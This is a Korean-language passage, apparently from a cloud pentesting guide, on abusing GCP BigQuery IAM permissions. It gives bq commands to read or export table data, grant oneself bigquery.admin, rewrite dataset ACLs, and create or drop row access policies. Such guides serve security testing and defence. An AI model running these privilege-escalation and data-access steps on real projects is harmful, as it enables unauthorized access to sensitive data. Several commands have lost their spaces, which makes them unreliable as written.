BigQuery 테이블에 저장된 정보를 읽으면 민감한 정보를 찾을 수 있습니다. 정보를 액세스하기 위해 필요한 권한은 bigquery.tables.get, bigquery.jobs.create 및 **bigquery.tables.getData**입니다:
bqhead<dataset>.<table>bqquery--nouse_legacy_sql'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
데이터 내보내기
이것은 데이터를 접근하는 또 다른 방법입니다. 클라우드 스토리지 버킷에 내보내고정보가 담긴 파일을 다운로드합니다.
이 작업을 수행하려면 다음 권한이 필요합니다: bigquery.tables.export, bigquery.jobs.create 및 storage.objects.create.
Bigquery 테이블에 신뢰할 수 있는 특정 데이터를 삽입하여 다른 곳의 취약점을 악용할 수 있을지도 모릅니다. 이는 bigquery.tables.get, bigquery.tables.updateData 및 bigquery.jobs.create 권한으로 쉽게 수행할 수 있습니다:
공격자는 이 권한을 악용하여 BigQuery 데이터셋에 대한 추가 권한을 부여할 수 있습니다:
# For this you also need bigquery.tables.getIamPolicybqadd-iam-policy-binding \--member='user:<email>' \--role='roles/bigquery.admin' \<proj>:<dataset># use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update, (bigquery.datasets.get)
이 권한만으로도 ACL을 수정하여 BigQuery 데이터셋에 대한 액세스를 업데이트할 수 있습니다.
# Download current permissions, reqires bigquery.datasets.getbqshow--format=prettyjson<proj>:<dataset>>acl.json## Give permissions to the desired userbqupdate--sourceacl.json<proj>:<dataset>## Read it withbqhead $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
공격자는 이 권한을 악용하여 BigQuery 테이블에 대한 추가 권한을 부여할 수 있습니다:
# For this you also need bigquery.tables.setIamPolicybqadd-iam-policy-binding \--member='user:<email>' \--role='roles/bigquery.admin' \<proj>:<dataset>.<table># use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
문서에 따르면, 언급된 권한으로 행 정책을 업데이트할 수 있습니다.
그러나 cli bq를 사용하려면 추가로 bigquery.rowAccessPolicies.create, **bigquery.tables.get**이 필요합니다.
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
만약 **bigquery.rowAccessPolicies.delete**가 있고 bigquery.rowAccessPolicies.update가 없다면, 정책을 삭제할 수도 있습니다:
# Remove onebqquery--nouse_legacy_sql'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'# Remove all (if it's the last row policy you need to use thisbqquery--nouse_legacy_sql'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
행 액세스 정책을 우회할 수 있는 또 다른 잠재적인 옵션은 제한된 데이터의 값을 변경하는 것입니다. term이 Cfba일 때만 볼 수 있다면, 테이블의 모든 레코드를 term = "Cfba"로 수정하십시오. 그러나 이는 bigquery에 의해 방지됩니다.